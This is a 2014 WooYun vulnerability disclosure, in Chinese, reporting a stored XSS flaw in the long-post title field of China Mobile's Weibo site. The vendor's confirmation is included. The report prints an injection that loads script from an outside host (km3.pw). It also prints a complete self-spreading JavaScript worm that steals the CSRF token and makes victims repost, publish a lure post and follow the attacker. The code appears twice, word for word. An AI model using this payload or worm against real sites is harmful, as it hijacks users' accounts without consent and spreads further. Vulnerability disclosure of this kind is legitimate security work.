当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088810

漏洞标题:中国移动微博存储型XSS 可蠕虫(附蠕虫POC)

相关厂商:10086.cn

漏洞作者: 0x_Jin

提交时间:2014-12-26 20:16

修复时间:2015-02-09 20:18

公开时间:2015-02-09 20:18

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-26: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向核心白帽子及相关领域专家公开
2015-01-19: 细节向普通白帽子公开
2015-01-29: 细节向实习白帽子公开
2015-02-09: 细节向公众公开

简要描述:

1.转发微博
2.发表新微博
3.收听我

详细说明:

问题出在中国移动微博的发表长微博处。

QQ20141226-4.jpg


在标题处未作任何过滤,可插入30字符的代码。
<script/src=//km3.pw></script>

QQ20141226-5.jpg


存在问题的页面:http://weibo.10086.cn/cwb/article.php?id=10404
只要登陆了中国移动微博号 打开这个页面,便会转发我的微博 并发表一条新微博 并收听我。
POC:

var csrfIDExp  = /crumb":"\w{32}/;   
var PostUrl = "/ajax/json/pushfeed/pushfeed";
var HomePage = "/weibo.php";
var CsrfToken = "";
var ShouTing = "/ajax/json/user/usercard/user_id=271843611?crumb=";
var PostData = "text=%E6%88%91%E5%88%9A%E5%8F%91%E8%A1%A8%E4%BA%86%E4%B8%80%E7%AF%87%E6%96%B0%E5%BE%AE%E5%8D%9A%E6%9D%A5%E7%9C%8B%E7%9C%8B%E5%90%A7%EF%BC%9Ahttp%3A%2F%2Fweibo.10086.cn%2Fcwb%2Farticle.php%3Fid%3D10404&from=home_top&list_id=&crumb=";
var ZhuanData = "feedid=183420367929375&text=%E6%8C%BA%E4%B8%8D%E9%94%99%E7%9A%84&from=forward&reply_note=on&crumb=";
var Zhuanfa = "/ajax/json/pushfeed/pushforward";
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
Connection("GET",HomePage,"",function(callback){
CsrfToken = String(csrfIDExp.exec(callback)).replace('crumb":"','');
Connection("GET",ShouTing+CsrfToken,"",function(callback){
})
Connection("POST",PostUrl,PostData+CsrfToken,function(callback){
})
Connection("POST",Zhuanfa,ZhuanData+CsrfToken,function(callback){
})
})


发表微博 转发 收听等都需要一个csrftoken值,而这个值就在/weibo.php中,可以非常轻易的获取到。
效果如下:
http://km3.pw/10086women.mp4 请看视频

漏洞证明:

问题出在中国移动微博的发表长微博处。

QQ20141226-4.jpg


在标题处未作任何过滤,可插入30字符的代码。
<script/src=//km3.pw></script>

QQ20141226-5.jpg


存在问题的页面:http://weibo.10086.cn/cwb/article.php?id=10404
只要登陆了中国移动微博号 打开这个页面,便会转发我的微博 并发表一条新微博 并收听我。
POC:

var csrfIDExp  = /crumb":"\w{32}/;   
var PostUrl = "/ajax/json/pushfeed/pushfeed";
var HomePage = "/weibo.php";
var CsrfToken = "";
var ShouTing = "/ajax/json/user/usercard/user_id=271843611?crumb=";
var PostData = "text=%E6%88%91%E5%88%9A%E5%8F%91%E8%A1%A8%E4%BA%86%E4%B8%80%E7%AF%87%E6%96%B0%E5%BE%AE%E5%8D%9A%E6%9D%A5%E7%9C%8B%E7%9C%8B%E5%90%A7%EF%BC%9Ahttp%3A%2F%2Fweibo.10086.cn%2Fcwb%2Farticle.php%3Fid%3D10404&from=home_top&list_id=&crumb=";
var ZhuanData = "feedid=183420367929375&text=%E6%8C%BA%E4%B8%8D%E9%94%99%E7%9A%84&from=forward&reply_note=on&crumb=";
var Zhuanfa = "/ajax/json/pushfeed/pushforward";
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
Connection("GET",HomePage,"",function(callback){
CsrfToken = String(csrfIDExp.exec(callback)).replace('crumb":"','');
Connection("GET",ShouTing+CsrfToken,"",function(callback){
})
Connection("POST",PostUrl,PostData+CsrfToken,function(callback){
})
Connection("POST",Zhuanfa,ZhuanData+CsrfToken,function(callback){
})
})


发表微博 转发 收听等都需要一个csrftoken值,而这个值就在/weibo.php中,可以非常轻易的获取到。
效果如下:
http://km3.pw/10086women.mp4 请看视频

修复方案:

输入输出采用黑白名单过滤

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-12-30 15:02

厂商回复:

CNVD确认所述情况,已经转由CNCERT向中国移动通报。

最新状态:

暂无